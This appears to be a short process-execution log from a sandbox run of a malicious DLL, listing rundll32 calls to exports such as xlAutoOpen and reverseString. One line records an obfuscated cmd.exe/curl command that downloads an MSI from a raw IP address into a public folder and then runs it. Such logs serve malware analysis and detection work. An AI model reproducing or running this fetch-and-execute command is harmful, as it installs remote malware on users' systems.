rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,hash
2496rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
2164rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,reverseString
2412rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
2256rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,xlAutoOpen
2448cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi
2548rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\ni.dll,
2352